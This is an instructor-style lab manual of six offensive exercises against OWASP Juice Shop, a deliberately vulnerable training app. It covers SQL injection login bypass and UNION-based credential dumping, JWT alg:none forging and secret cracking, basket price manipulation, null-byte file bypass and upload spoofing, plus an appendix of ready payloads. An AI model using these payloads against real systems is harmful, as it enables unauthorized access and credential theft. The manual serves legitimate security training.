

OFFENSIVE WEB APPLICATION SECURITY WITH KALI & JUICE SHOP

Lab Manual — Participant Edition

Labs 1–6 · OWASP Juice Shop · Intermediate Level

⚠ WARNING: All exercises must be performed only on the OWASP Juice Shop lab environment provided (<http://localhost:3000>). Never attempt these techniques against any system you do not have explicit written authorization to test.

Participant Name: _____

Table of Contents

Table of Contents.....	2
Introduction.....	3
Lab Environment.....	3
How to Use This Manual.....	3
Lab Overview.....	3
Your Mission.....	4
Hints (use only if stuck).....	4
Record Your Finding.....	4
Background.....	5
Objectives.....	5
Prerequisites.....	5
Steps.....	5
Observations.....	6
Reflection Questions.....	6
Background.....	8
Objectives.....	8
Steps.....	8
Observations.....	9
Reflection Questions.....	9
Background.....	10
Objectives.....	10
Steps.....	10
Observations.....	11
Reflection Questions.....	11
Background.....	13
Objectives.....	13
Steps.....	13
Observations.....	14
Reflection Questions.....	14
Background.....	15
Objectives.....	15
Steps.....	15
Observations.....	16
Reflection Questions.....	16
Background.....	18
Objectives.....	18
Method A — DevTools Client-Side Bypass.....	18
Method B — Burp MIME Type Spoofing.....	18
Observations.....	19
Reflection Questions.....	19
Appendix A — Quick Reference.....	21
Useful Juice Shop Endpoints.....	21
Common SQL Injection Payloads.....	21
JWT Cheat Sheet.....	21
Null-Byte File Bypass.....	22

Introduction

This lab manual accompanies the Web Application Security Testing training sessions (Parts 1 and 2). It contains six hands-on exercises designed to be completed on the OWASP Juice Shop, an intentionally vulnerable web application purpose-built for security training.

Lab Environment

Target App	OWASP Juice Shop — http://localhost:3000
-------------------	--

Proxy Tool	Burp Suite Community — proxy on 127.0.0.1:8080
-------------------	--

Score Board	Can you find it? Complete Challenge 0 before starting Lab 1.
--------------------	--

How to Use This Manual

- Read the Background section before starting each lab.
- Work through each numbered step in order.
- Record your observations in the provided answer boxes.
- If you get stuck, re-read the hints before asking for help.
- Don't skip ahead — later steps may depend on earlier ones.

Lab Overview

Lab	Title	OWASP Category	Difficulty
1	Intercepting Traffic with Burp Suite	A05 – Injection / General	Intermediate
2	SQL Injection on Juice Shop	A05 – Injection	Intermediate
3	JWT Manipulation	A07 – Auth Failures	Intermediate
4	Business Logic Exploitation	A01 – Broken Access Control	Intermediate
5	Sensitive Data Hunting	A02 – Security Misconfiguration	Intermediate
6	File Upload Restriction Bypass	A02 – Security Misconfiguration	Intermediate

INIT**Find the Score Board**

A warm-up recon challenge — complete before starting Lab 1

The Juice Shop Score Board tracks every challenge you complete. It is not linked from the navigation menu — you will need to find it yourself. This is your first test of the recon mindset: look at what the application exposes before you start poking at it.

Your Mission

- Find the hidden Score Board page without being given its URL.
- Navigate to it in your browser.
- Take note of the challenge categories and difficulty ratings.

Hints (use only if stuck)**1**

Open your browser's DevTools (F12) and look at the page source or network requests for the Juice Shop main page.

2

The Score Board is a valid Angular route. Angular route definitions are compiled into the main JavaScript bundle.

Record Your Finding

Score Board URL:

How did you find it? What technique did you use?

LAB
1**Intercepting Traffic with Burp Suite***Learn to proxy, inspect, and replay HTTP requests against Juice Shop*

Background

Burp Suite is the industry-standard tool for web application security testing. In this lab you will configure your browser to route traffic through Burp's proxy, explore Juice Shop's HTTP traffic, and use the core Repeater and Intruder tools.

Objectives

- Configure a browser proxy to route traffic through Burp Suite
- Capture and inspect HTTP requests and responses in Proxy > HTTP History
- Identify and explore the POST /rest/user/login endpoint
- Use Repeater to replay and modify a captured request
- Use the Score Board to verify challenge completion

Prerequisites

- Burp Suite installed and running
- Browser configured to use proxy 127.0.0.1:8080
- Burp CA certificate installed in your browser
- Juice Shop running at <http://localhost:3000>

Steps

#	Action	Expected Outcome
1	Open Burp Suite. Confirm proxy listener is active on 127.0.0.1:8080 under Proxy > Options.	<i>Listener shows 'Running'</i>
2	Configure your browser proxy to 127.0.0.1:8080. Browse to http://localhost:3000 .	<i>Juice Shop loads; traffic appears in HTTP History</i>
3	In Burp: Proxy > Intercept — turn Intercept OFF. Browse through Juice Shop normally.	<i>All requests logged without pausing</i>
4	In Juice Shop, register a new account and log in.	<i>POST /rest/user/login appears in HTTP History</i>
5	In HTTP History, find the login POST.	<i>Request appears in Repeater tab</i>

#	Action	Expected Outcome
	Right-click > Send to Repeater.	
6	In Repeater, modify the email field value and click Send. Observe the response.	Server returns an error or different response
7	In the browser, navigate to <code>http://localhost:3000/rest/products/search?q=apple</code> . Find the request in HTTP History.	GET request with q parameter visible
8	Using only what you can observe in the browser and Burp, find and navigate to the hidden Score Board page. Hint: it is referenced somewhere in the application source.	Score Board page loads and shows completed challenges

Observations

What HTTP method does the login endpoint use? What data is sent in the request body?

What response code and data does a successful login return?

Reflection Questions

1. Why is it important to observe raw HTTP traffic rather than relying on what the browser UI shows?

Your answer:

2. What sensitive information did you find in the login response that could be used in further attacks?

Your answer:

**LAB
2****SQL Injection on Juice Shop**

Bypass login and extract credentials using SQL injection

Background

SQL injection occurs when user-supplied input is incorporated into a database query without proper sanitisation. Juice Shop's login form and product search endpoint are both vulnerable. In this lab you will first perform a login bypass, then use a UNION SELECT attack to extract credentials from the database.

Objectives

- Bypass authentication using a classic SQL injection payload
- Identify a second injection point in the product search endpoint
- Determine the number of columns in the SQL result set
- Extract all user email addresses and password hashes

Steps

#	Action	Expected Outcome
1	Navigate to <code>http://localhost:3000/#/login</code>	Login page loads
2	In the Email field, enter: <code>' OR 1=1--</code> (with a space after the dashes). Enter anything in the Password field. Click Log In.	You are logged in as the first user in the database (admin)
3	Note the email address shown in the top-right account menu.	<code>admin@juice-sh.op</code> (or similar)
4	Open Burp. In HTTP History, find: <code>GET /rest/products/search?q=apple</code> . Send to Repeater.	Request in Repeater
5	In Repeater, change <code>q=apple</code> to <code>q=apple'))</code> . Send.	Response contains a SQLite syntax error — confirms injection point
6	Change the <code>q</code> parameter to: <code>')) UNION SELECT 1,2,3,4,5,6,7,8,9 FROM sqlite_master--</code>	200 OK — confirms 9 columns
7	Change payload to: <code>')) UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--</code>	Response contains all user email and password hash data

Observations

Record the email addresses and hashed passwords you retrieved:

What database engine is Juice Shop using, and how did you determine this?

Reflection Questions

3. What would a parameterized query look like for the login form, and how would it prevent this attack?

Your answer:

4. What is the difference between a UNION-based injection and a blind injection? When would you use each?

Your answer:

LAB
3**JWT Manipulation**

Decode, tamper, and forge a JWT to impersonate a user

Background

JSON Web Tokens (JWTs) are commonly used for identification. They consist of three base64-encoded sections: Header (algorithm), Payload (claims), and Signature. Juice Shop does not require all tokens be signed, making them vulnerable to tampering.

Objectives

- Capture a JWT from an authenticated session
- Decode and inspect the token payload at jwt.io
- Attempt an alg:none attack to bypass signature verification
- Update a tampered token using a different email
- Use the forged token

Steps

#	Action	Expected Outcome
1	Log in to Juice Shop with a regular user account.	Authenticated session established
2	In Burp HTTP History, find /user/whoami request and locate the Authorization: Bearer <token> header.	JWT token visible in the header
3	Copy the token. Open https://jwt.io in your browser and paste it into the Encoded field.	Payload section shows uid, email, and role claims
4	In the Payload at jwt.io , note the current value of the "email" field.	email: "test@test.com"
5	In Burp Repeater, send a request to GET /rest/user/whoami with your current token.	HTTP/1.1 200 OK. email: "test@test.com"
6	Attempt alg:none: In jwt.io , change "alg" to "none" in the header. Change "email" to "jwtn3d@juice-sh.op" in payload. Paste the modified token into Repeater and resend.	HTTP/1.1 200 OK. email: "jwtn3d@juice-sh.op"
7	BONUS - Run: <code>hashcat -m 0 <JWT_PWD_HASH> /usr/share/wordlists/rockyou.txt</code>	Tool cracks the secret: 'Test123'

Observations

What claims were present in the original JWT payload?

What was the JWT password hash? How long did the crack take?

Reflection Questions

5. What is the alg:none vulnerability, and how can it be prevented server-side?

Your answer:

6. Why is HS256 considered weaker than RS256 for production JWT signing?

Your answer:

LAB
4**Business Logic Exploitation**

Manipulate the basket to complete a purchase for \$0.00

Background

Business logic vulnerabilities arise when an application's intended workflow can be subverted by manipulating inputs or skipping steps. Unlike injection attacks, these flaws are not detectable by automated scanners — they require understanding how the application is designed to behave and then deliberately violating those assumptions.

Objectives

- Intercept and understand the basket item API request format
- Manipulate quantity to produce a zero or negative checkout total
- Attempt to zero out the unit price of a basket item directly
- Successfully place an order for \$0.00

Steps

#	Action	Expected Outcome
1	Log in to Juice Shop. Add any product to your basket.	<i>Item appears in basket</i>
2	In Burp HTTP History, find the POST <code>/api/BasketItems</code> request that was sent when you added the item.	<i>Request body contains <code>ProductId</code>, <code>BasketId</code>, and <code>quantity</code></i>
3	Send the POST <code>/api/BasketItems</code> request to Repeater.	<i>Request available in Repeater</i>
4	In Repeater, change the "quantity" value to -100. Click Send.	<i>200 OK — server accepts the negative quantity</i>
5	Navigate to your basket in the browser.	<i>Total is now a large negative number or \$0.00</i>
6	Proceed through checkout and place the order.	<i>Order confirmed with \$0.00 or negative total</i>
7	BONUS: Find the PUT <code>/api/BasketItems/{id}</code> request. In Repeater, add "unitPrice": 0 to the JSON body. Send.	<i>Price set to zero on the basket line item</i>

Observations

What was the exact JSON payload used in the successful exploit?

Did the server return any validation error at any step? If so, at which step?

Reflection Questions

7. Where should quantity and price validation be enforced, and why is client-side validation alone insufficient?

Your answer:

8. How would you test a multi-step checkout flow for step-skipping vulnerabilities?

Your answer:

LAB
5**Sensitive Data Hunting**

Find exposed files, API leaks, and hidden routes

Background

Sensitive data exposure occurs when applications inadvertently make confidential information accessible. This can include exposed directories, backup files, verbose API responses, and client-side source code that reveals hidden paths. In this lab you will work across three attack surfaces: the FTP directory, the products search API, and the Angular application source.

Objectives

- Browse and download files from the exposed /ftp directory
- Use a null-byte injection to bypass a file extension filter
- Extract all user credentials via a UNION SELECT on the search endpoint
- Identify hidden routes in the compiled Angular source

Steps

#	Action	Expected Outcome
1	Navigate to <code>http://localhost:3000/ftp</code> in your browser.	Directory listing of files is shown
2	Click to download <code>acquisitions.md</code> .	File downloads — contains confidential M&A notes
3	Attempt to download <code>package.json.bak</code> directly. Observe the error.	403 Forbidden — .bak extension is blocked
4	Navigate to: <code>http://localhost:3000/ftp/package.json.bak%2500.md</code>	File downloads — null-byte bypasses the extension check
5	In Burp Repeater, send: <code>GET /rest/products/search?q='') UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--</code>	JSON response contains all user records with hashed passwords
6	In your browser, open DevTools (F12). Go to Sources. Find and open the <code>main.js</code> bundle.	Large minified JavaScript file
7	Use Ctrl+F to search for <code>path:</code> inside <code>main.js</code> .	List of Angular route definitions including hidden paths
8	Navigate to <code>http://localhost:3000/#/administration</code>	Admin panel loads (client-side only guard — no server enforcement)

#	Action	Expected Outcome
	without admin login.	

Observations

List the files found in the /ftp directory and describe what each one contained:

List the hidden route paths you discovered in main.js:

Reflection Questions

9. What server-side controls would prevent access to the /ftp directory entirely?

Your answer:

10. Why is a client-side-only route guard for the admin panel a critical security flaw?

Your answer:

**LAB
6****File Upload Restriction Bypass**

Circumvent file type controls on the Juice Shop complaint form

Background

File upload functionality is a high-risk attack surface. Juice Shop's complaint form restricts uploads to PDF and ZIP files — enforced through a client-side HTML attribute and a server-side Content-Type check. In this lab you will bypass both controls using two independent techniques.

Objectives

- Bypass the client-side file type restriction using browser DevTools
- Bypass the server-side MIME type check using Burp Suite
- Understand the difference between extension checks, MIME checks, and magic byte validation

Method A — DevTools Client-Side Bypass

#	Action	Expected Outcome
1	Navigate to <code>http://localhost:3000/#/complaint</code>	<i>Complaint form with file upload field loads</i>
2	Open DevTools (F12) and switch to the Inspector / Elements tab.	<i>HTML of the page is visible</i>
3	Find the file <code><input></code> element. Look for the <code>accept</code> attribute (<code>accept=".pdf,.zip"</code>).	<i>Attribute restricting file types is visible</i>
4	Double-click the <code>accept</code> attribute value and delete the entire attribute.	<i><code>accept</code> attribute is removed from the HTML</i>
5	Click Choose File in the form. The file picker now shows all file types.	<i>Any file type can be selected</i>
6	Select a non-PDF/ZIP file (e.g., a <code>.txt</code> or <code>.xml</code> file) and submit the form.	<i>Form submits successfully — server accepted the file</i>

Method B — Burp MIME Type Spoofing

#	Action	Expected Outcome
1	Upload a legitimate PDF file through the complaint form normally.	<i>Upload succeeds</i>
2	In Burp HTTP History, find the multipart	<i>Request shows Content-Type and file</i>

#	Action	Expected Outcome
	POST request for the file upload.	<i>body</i>
3	Send the request to Repeater.	<i>Request available in Repeater</i>
4	In the Content-Disposition header, change the filename to "evil.xml".	<i>Filename updated in request</i>
5	Change the Content-Type header value from "application/pdf" to "text/xml".	<i>MIME type updated in request</i>
6	Replace the file content in the body with: <code><?xml version="1.0"?><test>exploit</test></code>	<i>Body now contains XML content</i>
7	Click Send.	<i>200 OK — server accepted an XML file despite the upload restriction</i>

Observations

What did the server response look like after a successful bypass in each method?

Was there any difference between the two methods in terms of server response or error messages?

Reflection Questions

11. What is the difference between checking a file's extension, its MIME type, and its magic bytes? Which is most reliable, and why?

Your answer:

12. Where should uploaded files be stored, and why should they never be stored inside the web root?

Your answer:

Appendix A — Quick Reference

Useful Juice Shop Endpoints

Endpoint	Purpose
POST /rest/user/login	Authentication endpoint — SQLi login bypass target
GET /rest/products/search?q=	Search — UNION SELECT injection point
POST /api/BasketItems	Add item to basket — business logic target
PUT /api/BasketItems/{id}	Update basket item — price/quantity manipulation
GET /ftp	Exposed file directory
GET /rest/admin/application-configuration	Admin endpoint — JWT privilege escalation target
POST /api/Complaints	Complaint with file upload — bypass target
/#/score-board	Challenge 0 — find this yourself!
/#/administration	Admin panel — client-side only guard

Common SQL Injection Payloads

```
-- Login bypass
' OR 1=1--

-- Confirm injection point on search endpoint
'))

-- Enumerate columns (increase until no error)
')) UNION SELECT 1,2,3,4,5,6,7,8,9 FROM sqlite_master--

-- Dump user credentials
')) UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--
```

JWT Cheat Sheet

```
# Decode a JWT (no verification)
jwt_tool <token>

# Crack the signing secret
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
```

```
# Tamper and re-sign interactively
jwt_tool <token> -T

# Manually decode at:
https://jwt.io
```

Null-Byte File Bypass

```
# URL-encoded null byte: %2500
# (double-encoded so it survives URL parsing)

http://localhost:3000/ftp/package.json.bak%2500.md
```